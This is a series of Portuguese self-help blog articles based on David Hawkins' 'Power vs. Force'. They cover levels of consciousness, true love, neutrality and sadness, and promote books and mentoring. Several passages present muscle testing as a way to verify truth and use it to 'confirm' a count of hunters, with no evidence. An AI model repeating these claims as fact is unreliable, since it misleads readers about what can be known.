Para compreender como se chegou ao desenvolvimento dos níveis da consciência é preciso partir do estudo da *dinâmica não linear e, no caso desse estudo foi a pesquisa de atratores (falaremos sobre ‘atratores’ num próximos artigo) que se vale da identificação de faixas de potência dos campos de energia.

Quando a dinâmica não linear é considerada num estudo, ela permite que padrões desses campos atratores sejam identificados. Através disso é possível se observar fatores que geralmente são descartados quando as resoluções de questões são estudadas por métodos lineares e convencionais.

Como convencional podemos compreender que o processamento de um problema começa com o conhecido e vai para o desconhecido numa sequência lógica, linear.

A dinâmica não linear se move na direção contrária: do desconhecido (dados não deterministas da questão) para o conhecido (a resposta).

Talvez você esteja dizendo: mas o que isso tudo quer dizer? O que isso tudo tem a ver com os níveis de consciência humanos? Como isso se relaciona à minha realidade?

Calma! Vamos um passo por vez!

No próximo artigo traremos algumas definições importantes para acompanhar o raciocínio que embasou todo o estudo do Dr.Hawkins.

Talvez você queira acompanhar com mais detalhes essas noções todas. O livro “Poder vs Força” é uma obra prima e a base para a compreensão de como nossa consciência opera e até onde ela pode nos levar.

*O enredo não linear não segue uma sequência cronológica, desenvolve-se descontinuamente, com saltos, antecipações, retrospectivas, cortes e com rupturas do tempo e do espaço em que se desenvolvem as ações. (https://brasilescola.uol.com.br/matematica/sistemas-lineares.htm)

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O Poder de “Poder vs. Força”

Do que o livro “Poder vc Força” trata? Por que ele é tão poderoso e só aumenta a popularidade aqui no Brasil? Esse artigo foi inspirado na obra do Dr. David Hawkins “Poder vc Força”.

O Dilema Humano

Existe uma questão inerente à raça humana que se relaciona à necessidade de buscar respostas e, para isso, uma infinidade de matérias, estudos e análises são desenvolvidas para se obter respostas definitivas, independente de qual seja a questão.

Dados não faltam e cada vez vamos acumulando mais e mais informações. Mas será que tudo isso é suficiente para compreendermos efetivamente as respostas?

O dilema do homem – hoje e sempre – tem sido que ele identifica erroneamente seus próprios artefatos intelectuais como realidade. Mas essas suposições artificiais são meramente produto de um ponto de percepção arbitrário…de um ponto de vista do questionador. Pequenos erros na formulação das perguntas resultam em erros grosseiros nas respostas que seguem.” (Dr. David Hawkins – no livro “Poder vs. Força”)

Segundo Dr.Hawkins, o entendimento de uma situação não deveria ser retirado apenas dos dados, mas também do contexto em que acontecem.

O significado das coisas vem não apenas quando fazemos a pergunta certa, mas quando usamos as ferramentas apropriadas para mensurar as respostas dentro de um contexto que dê significado a elas.

Os Sistemas e Tentativas para compreender o comportamento Humano

Segundo Dr. Hawkins, a filosofia, os sistemas políticos, os sistemas de moralidade, a psicanálise, entre outras ferramentas, são tentativas do homem entender a si mesmo que relativizam a verdade.

Dr. Hawkins pontua que as falhas de todos os sistemas de pensamento derivam da:

  • Falha na diferenciação entre o objetivo e subjetivo
  • Desrespeito à limitação do contexto inerente ao projeto básico e à terminologia
  • Ignorância sobre a própria natureza da consciência
  • Incompreensão a respeito da natureza da causalidade

À medida que novas perspectivas e novas ferramentas são utilizadas para explorar as áreas humanas pode-se observar que essas falhas tornam-se óbvias.

A teoria da tentativa e erro é o que tem feito a humanidade alcançar suas reações quase que cegamente. A busca por resposta resulta em labirintos. A verdadeira resposta às questões humanas vem da simplicidade.

“O universo não desperdiça um único quark, tudo serve a um propósito e se encaixa num equilíbrio – não há eventos estranhos.” (Dr. David Hawkins – no livro “Poder x Força”)

Duas faculdades operacionais, inerentes à raça humana e não confiáveis são responsáveis pelas nossas decisões: razão e sentimento e a história individual e coletiva atestam isso.

A organização lógica dos dados serve principalmente para melhorar um sistema de reconhecimento de padrões que se torna a chamada “verdade”.

Nada é sempre verdade, exceto sob certas circunstâncias e somente a partir de um ponto de vista particular caracteristicamente não declarado.

O principal obstáculo ao desenvolvimento do homem é, portanto, a falta de conhecimento sobre a natureza da própria consciência.

Nossas decisões vêm da reflexão?

Nossa mente age muito mais rápido do que reconhecemos, portanto, a noção de que nossas ações são tomadas por meio de decisões refletidas é uma ilusão. Esse processo é da própria consciência. As decisões advêm de funções da consciência. A mente faz escolhas baseadas em uma infinidade de partes de dados, correlações e projeções que vão além de nossa compreensão consciente. 

A nova ciência da dinâmica não linear chama essa função global dominada pelos padrões de energia de Atratores.

É a consciência que escolhe a melhor opção a todo momento porque essa é sua única função.

O Poder de Poder vs. Força

“Poder vs. Força” é resultado de duas décadas de estudos sobre o uso da calibragem que surge de uma conexão da fisiologia da consciência, da função do sistema nervoso e da física do universo. Somos parte desse universo onde tudo é interconectado. Tudo o que nos parece “segredo” está disponível para nós se soubermos onde e como procurar.

O livro “Poder vs. Força” transforma o simples em óbvio. O simples tem profundidade e precisamos estar abertos a compreendê-lo e assim, expandimos nossa capacidade de compreender a natureza do universo e da vida em si.

Buscar respostas que se conectem com a verdadeira natureza da consciência é o papel da técnica apresentada por Dr. David Hawkins após anos de estudos. A Cinesiologia se baseia em testar uma resposta muscular entre o tudo-ou-nada de um estímulo. Estímulos positivos provoca uma resposta muscular forte e um estímulo negativo provoca uma resposta muscular fraca.

Por sua simplicidade, a técnica pode ser usada por pessoas íntegras, em qualquer lugar, a qualquer momento e será capaz de iniciar uma nova era da experiência humana baseada em uma verdade observável e verificável.

O livro traz todo o embasamento da teoria do Dr. Hawkins e certamente surpreenderá a todos. Compreender a simplicidade de sua teoria nos ajuda a olhar para a vida de maneira mais consciente. 

Esse artigo foi baseado no livro “Poder vs Força” do Dr. David Hawkins e poderá ser adquirido na Loja Pandora através do link: https://loja.pandoratreinamentos.com.br/poder-vs-forca

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Uma vida que salvou milhares de outras – entrevista do Dr.Hawkins

Uma vida que salvou milhares de outras.  – Transcrição do vídeo de entrevista do Dr. David R. Hawkins concedida à sua esposa Susan J. Hawkins durante palestra realizada no Institute for Spiritual Research, uma organização sem fins lucrativos dedicada à pesquisa da consciência, intitulada: Toda Vida Ama a Própria Vida

O Amor inspira a Vida.

Essa história de um pato e uma pata mudou a vida de milhares de caçadores nos EUA. Por um simples ato de Amor inocente, um casal de patos ensinou mais de 40 mil seres humanos.

O Divino está em todos os lugares, vamos celebrar!

Toda Vida Ama a Própria Vida

Ative a legenda em português para uma melhor experiência.

Dr.Hawkins: Essa foi uma das experiências mais profundas, que a sociedade teve algumas décadas atrás.

Havia um caçador de patos. Os patos estavam voando e o caçador atirou em um pato. E era um pato macho.

Ele caiu sobre a terra com suas asas quebradas.

Então, sua companheira voou para baixo abriu as asas e abrigou o pato. (silêncio profundo)

De qualquer forma o caçador desistiu. (risos)

A grande lição de vida

O caçador passou por uma transformação poderosa. Uma poderosa transformação iluminadora, porque o que foi revelado a ele foi o sacramento de toda vida.

Dezenas de milhares de caçadores, quando ouviram a história imaginaram a cena, da fêmea dando abrigo ao pato machucado, dezenas de milhares de caçadores desistiram de caçar.

Dr. Hawkins aplica o teste muscular para confirmar a informação sobre o número de caçadores:

– Veja, dez mil, quarenta mil, cinquenta mil, quarenta e cinco mil.

Perto de cinquenta mil caçadores estavam tão impressionados pela energia do coração, que eles desistiram de caçar como um esporte.

Caçar porque você está com fome é uma coisa, caçar pela diversão de matar, é completamente outra coisa, você percebe? 

Então, quando você vê que toda a vida ama a própria vida, nós mudamos. Nós mudamos todo o conceito de caçar, uma geração inteira, foi uma geração inteira que desistiu de caçar. 

Prática ao alvo sim, tiro aos pombos, tiro ao alvo, você conhece um excelente atirador, mas matar pela vontade de matar não era mais prazeroso, entende?

Se você precisa de carne, vá para o açougue (risos). Você não precisa matar o Bambi (risos). A mente diz: “Meu Bambi”. O Bambi de qualquer um, sabe?

Para deixar a vida viver, a menos que você tenha que sacrificar uma vida menor para uma vida maior, que é alguma coisa diferente, tomando algo para o bem da vida.

Mas, foi transformador, todo mundo que viu e soube dessa história foi profundamente afetado por ela. A cena dela com as asas envolta do pato para abrigá-lo.

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: www.veritaspub.com/dr-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas. Estes dois livros, Poder vs Força e Deixar Ir, foram traduzidos para o português pela editora Pandora Treinamentos e estão disponíveis neste link. Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, assim como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

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Níveis de Consciência

O que é Amor Verdadeiro? – com base em Dr. David Hawkins

Ouvimos muito se falar de amor. Porém amor não é paixão e tampouco posse ou sofrimento. O amor verdadeiro é pureza, alegria e serenidade. Mas não é euforia e melancolia. O amor liberta. Aquilo que prende não pode ser considerado amor.

A pessoa no nível de consciência de amor entende que amor verdadeiro não se divide ou se subtrai.

Não tem como o amor por uma pessoa diminuir o amor pela outra. Ou perder amor por se estar longe.

Amor multiplica e soma. Quanto mais se ama, mais se é possível amar e mais se é amado.

Conecta-se à bondade como estilo de vida e não para ser reconhecido por atos pseudo-benevolentes ou de autossacrifício.

Consciência do Amor

A consciência do amor é a cura para os males do mundo.

A partir dela, o salto da fé transcende a ciência e tudo aquilo que é linear e lógico.

O amor não é uma emoção, e também não é razão, é um estado de Ser que está além do palpável e descritivo. É subjetivo, porém radicalmente autoevidente.

Amor é:

  • cura e também é fé,
  • presença e observação,
  • não-julgamento e não-resistência,
  • desapego e aceitação,
  • humildade e não-possuir,
  • bondade e generosidade,
  • perdão e misericórdia,

Amor é ainda

Ao mesmo tempo é gentil quando tem que ser e firme quando necessário. Amor complementa as energias ausentes no ambiente para que prevaleça o equilíbrio e harmonia. Isso é inverso de egoísmo.

É simplicidade, não de pobreza, de ausência, de escassez que vem do conceito material, mas de riqueza, de presença, de abundância advindo do espiritual.

O amor preenche o vazio que busca resultados, coisas e pessoas fora de si.

Não é mais necessário mostrar aos outros ou ser reconhecido. Amor convive pela vontade de compartilhar sua alegria e não pela necessidade de suprir sua carência.

Em amor, uma pessoa sabe, por experiência própria e indubitável, que em atos simples como o de virar um besouro que está de ponta cabeça para voltar a andar em graça, o universo inteiro reconhece e responde.

O retorno de uma ação benevolente vem por outras vias não-lineares.

Amor não tem ausência. Ausência é justamente falta de amor.

Em amor, nada falta, tudo que é necessário, nada mais e nada menos, se manifesta e acontece na sincronia perfeita do tempo exato.

Amor é simples. Não tem segredos. Porém, por sermos complexos, acabamos resistindo a esta Verdade. E então sofremos.

Para entender o que é amor, é necessário transcender a razão.

O que não é amor verdadeiro

Amor verdadeiro não é condicional. Condicionalidade é negociação, troca, paixão ou posse.

Paixão do latim significa sofrimento e posse vem do sânscrito dominar. Sofrimento e dominação não são amor, mas sim sua ausência.

Negociação e troca são conceitos usuais para o ser humano e devem ser cumpridos quando ambas as partes estão em acordo. Serão ainda mais poderosos se forem cumpridos com honra.

Honra é cumprir os acordos feitos entre si e o(s) outro(s) por amor. Honra é um aspecto do amor. Cumprir um acordo com irritação e indignação ou má-vontade, não é amor.

Amor verdadeiro também não é

Amor verdadeiro não é esperar que o outro mude. Isso é expectativa e expectativa gera frustração. E frustração não é amor, mas sim sua ausência. Amor é aceitar o outro como ele é sem esperar que ele mude. Amor é convidar e dar o seu melhor por aquele que quer mudar, sem criar expectativas que ele mude. Se for para ele mudar ele vai, se não, não vai, e isso não cabe a você.

Amor verdadeiro não é condescendência ou subserviência. Não é concordar ou patrocinar ações estúpidas ou destrutivas. Não é também ser bonzinho demais. Amor é severo e firme quando necessário, por amor e não por controle. Mas na maior parte do tempo é compreensivo e altruísta, generoso e gentil.

Amor verdadeiro não é ser meloso, grudento ou precisar ficar perto o tempo todo. Isso é baixa autoestima, carência, medo. Também é liberdade e preferência pela companhia, sem necessidade intrínseca, sem pressão no outro.

Amor também não é sempre falar sim, mas também saber falar não sem dó. Dó não é amor. Dó é tristeza por achar que alguém deveria ter mais do que tem. E se essa pessoa não tem mais do que tem é porque não é para ter.

O amor pode convidar essa pessoa a enxergar as possibilidades de trocar o ter pelo ser, e quando se é, se tem. Já o dó acredita que o outro não é capaz e supre a ilusão de vítima. Ninguém é vítima. Quem acredita que é vítima não pode conhecer o amor. E sempre será vítima.

Quando descolar desse papel, dessa máscara que se auto impôs por acreditar em falsas afirmações externas ou internas, essa pessoa conhecerá o que é o amor e, só então, entenderá que no amor não há espaço para vitimismo.

Aspectos do amor verdadeiro

O amor se engrandece na beleza. A busca de encontrar o belo por trás daquilo que julgamos erroneamente como feio, desequilibrado, incompleto, errado, problemático.

É preciso entender que a beleza é implícita a tudo que existe como é agora e não como virá a ser. Quando vir a ser, será uma beleza diferente porém igualmente perfeita.

Amor é a capacidade de entender que as coisas não partem da imperfeição para a perfeição e retornam para a imperfeição.

Uma semente é uma semente perfeita, que se torna um ramo perfeito, que vira um botão perfeito, que se transforma em uma rosa perfeita, e então em um flor murcha perfeita e um vegetal morto perfeito.

Tudo é perfeito na criação e evolução.

Gratidão

Outra característica importante do amor é a gratidão

Gratidão é um estado interno de Ser que identifica que tudo que temos e atraímos para nós é pró-evolução.

Se julgamos como bom, agradecemos por termos aquela oportunidade meritória, se julgamos como ruim, agradecemos por podermos aprender e nos fortalecermos com mais uma experiência.

Humor

O humor também é uma fase do amor.

Onde o externo não tem mais poder de abalar o humor interno. Apenas si mesmo pode mudar o seu humor.

O bom-humor está sempre presente seja em uma “discussão” necessária ou em uma apreciação em conjunto. O humor prevalece inabalado. Ainda não é permanente, mas se sobressai mais de 90% do tempo.

Felicidade

Amor também é sinônimo de felicidade. Quanto mais se ama e mais se mantém em amor, mais se é feliz.

Os estágios de amor mantém-se de 89% a 93% em estado de felicidade e serenidade no dia a dia. O que não significa inatividade ou condescendência, mas sim atividade alegre e determinação tranquila.

Felicidade é ausência de:

  • ansiedade,
  • angústia,
  • expectativa,
  • frustração,
  • irritação,
  • indignação,
  • inquietude,
  • rebeldia,
  • raiva,
  • tristeza,
  • medo,
  • insegurança,
  • inveja,
  • ciúme,
  • arrogância,
  • vaidade,
  • cobiça,
  • gula,
  • etc etc etc.

Autenticidade

O amor também pode ser visto como autenticidade. Autenticidade não é personalidade. Personalidade vem do latim persona que significa máscara.

Personalidade é uma máscara utilizada para ser aceito em círculos sociais, adaptando seu comportamento ao dos outros para que sua sobrevivência emocional seja atendida.

Autenticidade é ser quem é na essência sem a intenção de defender opiniões, ir contra ou adotar a crença dos outros. para se sentir reconhecido.

Amor verdadeiro é entender experiencialmente que o que é, É. Se fosse para ser diferente, seria.

Fortalecendo o amor verdadeiro

Para entendermos e compreendermos o que realmente é amor, é necessário experienciarmos. E, para experienciar, é importante trocar condenação por compreensão.

Para trocar condenação por compreensão é necessário ter contato com o conhecimento e transformá-lo em sabedoria.

Para adquirir sabedoria é preciso praticar. Praticando, experienciamos.

Abaixo seguem sete práticas para fortalecer o amor e enfraquecer a posse:

1. Ame a forma 

  • Faça práticas de autoaceitação no domínio da forma física
  • Olhe seu rosto no espelho e encontre a beleza por trás do que a sociedade aponta como imperfeição
  • Trate bem o seu corpo com alimentação na quantidade certa para aquele momento
  • Descanse e durma bem
  • Cheque sua saúde constantemente

2. Ame os prazeres 

  • Aproveite os momentos de prazer diminuindo euforia, algazarra, excessos e impulsos destrutivos como os causados pela inconsciência no consumo de bebidas, drogas ou outros entorpecentes
  • Não omita seus prazeres, mas também não os mime
  • Escassez e excesso são indicadores de ausência de amor
  • Equilíbrio e harmonia é amor
  • Divirta-se sem se prejudicar ou prejudicar os outros

3. Ame o trabalho 

  • Fazer é obrigação quando não há amor envolvido
  • Faça o que você decidiu fazer com amor. Com vontade. Dando o seu melhor
  • Se for fazer sem amor, melhor não fazer ou começar a buscar outras opções de trabalho ou atividades
  • Se o amor se desconectou da atividade, é melhor repensar
  • Porém, até que a mudança aconteça, se reconecte ao amor de dar o seu melhor como estilo de vida e não atrelado a algo ou alguém

4. Ame o próximo 

  • Busque aprofundar suas conexões pelos outros sem esperar nada em troca
  • Faça surpresas, dê presentes, ofereça ajuda sem esperar que o outro aceite
  • Sirva de maneira altruísta
  • Se não souber o que fazer, não faça, ouça, escute, emane cura e amor àquela pessoa necessitada
  • Troque dó por amor verdadeiro e convidativo, sem imposição ou coerção

5. Ame a si mesmo 

  • Busque florescer sua autenticidade
  • Se desconecte das máscaras sociais que têm adotado para se manter conectado com pessoas que não te aceitam do jeito que você é
  • Liberte-se internamente e a liberdade externa florescerá
  • Escute mais do que fala. Fale quando necessário
  • Não imponha ao outro e não exponha o outro
  • Concentre-se em assumir e corrigir seus defeitos de caráter se aceitando perfeito do jeito que É

6. Ame a vida

  • Busque se desapegar de seus conceitos, posicionamentos e julgamentos mentais
  • Abra mão de estar certo e escolha ser feliz
  • Deixe o mundo pensar como quiser
  • Aprecie e contemple o poder da vida e a beleza da morte
  • O antigo que abre espaço para o novo
  • A criação e evolução constante
  • Deixe de lado suas crenças e busque a Verdade maior sobre a menor que você enxerga agora
  • Faça da Verdade sua amiga e sua professora e não a enxergue como inimiga ou dedo-dura

7. Ame o Divino 

  • ‘Amai a Deus sobre todas as coisas’ não é o primeiro mandamento da bíblia a toa
  • Independente de qualquer religião ou dogma, ame algo maior que você mesmo
  • Ame a criação
  • Sirva o Universo ou o Cosmos, ou como preferir chamar
  • Desperte a união de si mesmo com o Todo
  • Seja misericordioso consigo e com os outros, porque ‘eles não sabem o que fazem’, como Jesus disse
  • Busque enxergar, aceitar e consertar suas falhas de caráter, pois ‘a ignorância é o único pecado’, como proferiu Buda
  • ‘Os atributos Divinos conduzem à libertação pelo autoconhecimento’, afirmou Krishna
  • Aceite que é ignorante sobre a sabedoria universal e invoque humildade a todo instante que se lembrar para entrar em um estado de ‘só sei que nada sei’ do sábio Sócrates
  • E então permita-se ‘ser a mudança que você quer ver no mundo’, como nos exemplificou Mahatma Gandhi.

Se conectando a esses autodesafios – diariamente, pouco a pouco, em uma progressão natural e sem se cobrar ou se pressionar – você começará a ver a mudança real aparecer e o sentimento de amor fluir cada vez mais até o momento onde você se permitir que ele jorre de si.

Se você se sentiu tocado por esse conteúdo e quiser compreender mais sobre como atingir o amor verdadeiro, você pode conhecer a Mentoria de Alta Performance.

Boa leitura e boas práticas!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

Como a neutralidade nos ajuda a não sofrer – com base em Dr. David Hawkins

A neutralidade é uma forma de enxergar o mundo de maneira abundante. Se não conquistamos algo hoje, amanhã teremos uma nova oportunidade.

Há uma forma de buscarmos o caminho do não-sofrimento e potencializarmos nossa alegria na jornada de nossas conquistas: é a neutralidade.

Todo ser humano busca a alegria e a felicidade.

Cada um de forma diferente:

  • carros,
  • propriedades,
  • viagens,
  • reconhecimento por suas ações,
  • formação de uma família, etc.

Porém, por termos ideais e nos apegarmos a eles, passamos a sofrer cada vez que as coisas parecem não ter dado certo para o nosso lado.

Sofremos em todos os momentos onde nossas expectativas são frustradas.

Um caminho para o não-sofrimento, da alegria.

Os problemas mais agravantes quando se tem um sonho é:

  1. Não correr atrás dele por se entregar aos prazeres de curto prazo e não ter concentração para alcançá-lo ou
  2.  Tornar-se aficionado nele e não enxergar mais nada ao seu redor, podendo sair de sua base moral para alcançá-lo. O famoso erro da frase “o fim justificam os meios”.

Este é um estado comum em nossa sociedade que busca cada vez mais recursos externos para suprir suas necessidades e cobra de todos que façam o mesmo.

Essa pressão social acaba se tornando uma autocobrança constante e inconsciente que nos traz o famoso estresse diário.

Onde precisamos a todos os momentos ficar provando aos outros e a nós mesmos de que somos capazes de mais.

O estado de neutralidade é o primeiro passo para a liberdade dessa escravidão ilusória que temos da sociedade.

Para conquistar e crescer na vida não é necessário sofrer e se sacrificar, mas podemos trocar o nosso esforço demasiado para conquistar as coisas a qualquer custo por um estilo de vida de dar o nosso melhor independente dos resultados.

Dessa forma, automaticamente, teremos satisfação, alívio e alegria constantes, além de conquistas no tempo certo e com equilíbrio.

O que é o estado de neutralidade?

Assim como o estado de coragem é o primeiro nível de consciência positivo, a neutralidade é o primeiro estágio de consciência seguro.

Coragem parte do princípio de uma vida factível, de autoafirmação e empoderamento, sabendo que tudo pode ser possível.

Porém, o estado de coragem ainda não consegue enxergar que as conquistas e resultados não dependem apenas dele e, quando não consegue alcançar, pode entender isso como fracasso e sua consciência cair novamente para estágios de:

  • culpa,
  • tristeza,
  • medo,
  • raiva ou qualquer outro negativo.

Já a neutralidade, como complemento à coragem, parte do princípio de que a vida é abundante de oportunidades e que o contexto precisa estar alinhado e pronto para que um resultado aconteça.

Sabe-se que para algo acontecer, dependem de infinitas possibilidades a qual o Ser é apenas uma variável do contexto geral.

A pessoa com características de neutralidade não depende mais de resultados externos para manter sua confiança sempre latente.

Ela entende que é responsável por tudo que acontece em sua vida e faz um bom trabalho para que tudo continue fluindo.

Se o resultado não se manifesta, ela não cai em tristeza ou qualquer estágio negativo, pois ela sabe que haverá outras oportunidades e continua tentando. A atitude é do famoso “caiu, levanta”.

É um estado interno de maturidade. Quando algo vai contra seus quereres, ou seja, uma ausência de resultado, a criança birrenta dentro de si, começa a ser disciplinada e quando surge com raiva ou indignação, automaticamente seu estado adulto controla a situação e observa a realidade que se manifesta daquela forma e entende que negá-la irá trazer sofrimento agudo, pois quando não aceitamos a realidade, caímos em ilusão e falsidade que geram sofrimentos crônicos e agudos.

Para que buscar a neutralidade?

A pessoa em neutralidade atinge um relativo desapego do resultado.

Acabamos confundindo o desapego do resultado com negligência ou um estado de apatia em que nada se faz por não ter motivação, mas esta comparação é errônea.

O estado de neutralidade dá o melhor de si como um estilo de vida para cada meta que tem, mas não se frustra pelas expectativas geradas, porque sabe que deu o seu melhor, mas o contexto não estava propício.

Então ela pode desistir daquele caminho ou observar o que pode ter dado errado e corrigir o percurso para buscar o resultado novamente.

Muitas pessoas que alcançam esse estado de neutralidade vivem nele pelo resto de suas vidas, pois é um estágio de regeneração e cura dos sofrimentos causados pelos níveis negativos de consciência.

Sem tantas oscilações de humor, a pessoa busca uma vida mais pacata, sem tantos autos e baixos e trabalha melhor e mais tranquila os seus sonhos de curto e médio prazo.

A neutralidade precede a disposição.

Para alguns isso pode parecer entediante, mas o mais interessante é que após o estágio de consciência de neutralidade, se encontra o nível de disposição (ao qual falarei no próximo artigo).

Neste nível encontram-se os empresários mais conhecidos em nossa sociedade por seu caráter construtivista.

Porém, para se chegar nesse próximo estágio, é necessário aprender as regras da vida contidas no nível de neutralidade:

  • desapego do resultado,
  • autoconfiança independente das conquistas, 
  • equilíbrio interno,
  • visão de vida satisfatória e provedora.

Sem esses pré-requisitos, o ser não consegue alcançar um estado de construtivismo para si mesmo e para as pessoas ao seu redor, pois o apego ao resultado irá despertar: cobiça, ganância, arrogância, orgulho e soberba.

Portanto, inicialmente, é necessário fazer uma limpeza interna e se tornar neutro.

Em busca desse nível de consciência

A primeira coisa a ser feita é quebrar o paradigma de enxergar a vida como uma competição dual ilusória de vencedor vs perdedor. 

O que não sai da maneira que gostaria não deve ser considerado derrota ou frustração, mas uma oportunidade de aprendizado, limpeza interna e correção de percursos.

Como é comum aos grandes esportistas a frase “o mais difícil não é chegar em primeiro lugar, mas manter o primeiro lugar”, assim também é com a vida.

Acreditamos que alcançar o resultado é o mais importante, mas mantê-lo é ainda mais determinante para o sucesso.

Se não conseguimos conquistar o resultado é porque ainda não estamos prontos para lidar com aquela responsabilidade.

A vida está nos ensinando a amadurecer primeiro para que o tombo não seja maior.

Um exemplo de neutralidade.

Gosto muito de ilustrar esse estado interno de autoconfiança independente de resultado com a história do Walt Disney que precisou falir duas vezes, perder tudo e comer comida do lixo para que a Disney pudesse acontecer do jeito que a conhecemos.

E o mais interessante é que sem essa queda, não haveria o personagem Mickey e muito menos o sucesso da empresa como ela é até hoje.

Para quem quiser entender mais sobre esse caso verídico, pode assistir o filme Walt, antes do Mickey, disponível no Netflix, Google Play e iTunes.

Como alcançar esse nível de consciência?

Para se chegar no estágio de neutralidade é necessário observar e diminuir os excessos de nossa vida, para alcançar o equilíbrio.

O trabalho é de desapego daquilo que superestimulamos e supervalorizamos em nossa vida, principalmente ligados ao que queremos conquistar, para que a harmonia e a maturidade interna possam surgir.

Outra característica importante é largar o apego a posicionamentos falsos como:

  • “só vou ser feliz quando alcançar aquele resultado” ou
  • “só isso irá me fazer feliz e satisfeito” ou ainda,
  • “preciso conquistar isso para provar que sou capaz”

Todas essas formas de pensamento trazem angústia, sofrimento e ainda, quando (e se) alcançarmos o objetivo, continuaremos com o mesmo vazio de sempre.

Isso acontece por atrelarmos nossa felicidade a um fator externo e mesmo que o alcançarmos, este vazio retornará rapidamente, pois só o amor próprio é capaz de suprir nosso vazio e nossas carências.

Buscar o desapego do resultado é se alinhar com a Verdade de que as coisas não dependem só de você e não é preciso se culpar, se pressionar ou ser tirano consigo mesmo quando não alcançadas.

Manter a intenção no alcance do resultado e dar o seu melhor já é uma forma de autorrespeito a autoaceitação, e ambos esses estados estão alinhados com o amor próprio, que é sinônimo de felicidade.

Alcançando a neutralidade.

Desta forma, quando alcançamos a neutralidade, conseguimos perceber como a felicidade está disponível todos os dias durante a nossa jornada, e não só quando alcançamos o nosso destino.

A felicidade está disponível a qualquer momento para todas as pessoas, pois, independe de qualquer fator externo, basta buscarmos nosso sonho, darmos o nosso melhor e desapegarmos do resultado.

Uma metodologia didática e comprovada que nos guia a este caminho é um estilo de vida baseado em autodesafios.

Quando nos desafiamos, no permitimos experimentar o lado oposto de nossos hábitos e vícios para entender como é viver sem aquilo que tanto prezamos por um período determinado de tempo.

Essa prática nos faz diminuir os excessos de apego e supervalorizações que damos ao nosso estilo de vida atual e nos faz expandir nossa consciência e flexibilidade para lidar com as situações inusitadas e adversidades da vida.

Se preferir, agende uma sessão online gratuita clicando aqui. Assim você pode conhecer o Processo de Alta Performance para buscar esse estado interno de equilíbrio e harmonia, alcançando os resultados que você quer e merece para si.

Gratidão e vamos em frente!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

Categorias
Níveis de Consciência

Como se Livrar da tristeza – com base em Dr. David Hawkins

A tristeza é uma reação natural do ego humano que aparece toda vez que nos frustramos sobre uma expectativa.

Ficamos tristes todas as vezes que perdemos algo, alguém, uma posição ou não conseguimos aquilo que queríamos. A tristeza é uma condição de luto.

Por que ela surge? Ela aparece como forma de impotência por não ter conseguido intervir para alcançar um resultado, salvar seu objeto ou manter um relacionamento próximo.

Com isso, ficamos emocionalmente abalados por não sabermos como será o futuro sem aquele algo que nos acompanhou até ali.

Ou, ainda, vivemos na incerteza pelos planos não terem dado certo.

De onde ela surge?

Nosso ego é completamente aversivo à incerteza e é daí que nascem as emoções negativas.

Aversão ao desconhecido. Aversão por não saber se o diferente será tão prazeroso como imaginamos que seria ou como foi no passado.

A tristeza surge da ilusão de que:

  1. Tudo aquilo que imaginamos nas condições perfeitas e possíveis de nossa mente irá se manifestar na realidade (e se não se manifestar seremos infelizes);
  2. Tudo aquilo que possuímos continuará conosco pelo período que acreditamos ser o ideal em nossa mente.

Vamos ver um exemplo de ilusão que gera tristeza:

Quando eu compro um carro, já planejo ficar com ele por uns 3 anos e depois vendê-lo, sem qualquer arranhão, e ganhar um bom dinheiro na venda.

Se algo sair desta expectativa, me frustro e encontro a tristeza.

Pode acontecer do carro:

  • bater,
  • ser roubado,
  • quebrar,
  • sair de linha,
  • ser desvalorizado,
  • ocorrer uma crise econômica,
  • posso não achar um bom comprador,
  • posso ficar sem dinheiro pra completar a entrada para um novo carro.

Ou seja, infinitas possibilidades.

Mas, como em minha mente tudo é perfeito, quero (mimadamente) que tudo saia de acordo com o esperado. Não sairá!

Como, então, diminuir a tristeza em nossas vidas?

Para que possamos diminuir nossas expectativas e tristezas, um bom exercício é perceber que tudo é impermanente.

E, mais do que isso, perceber que tudo acontece por sincronicidade.

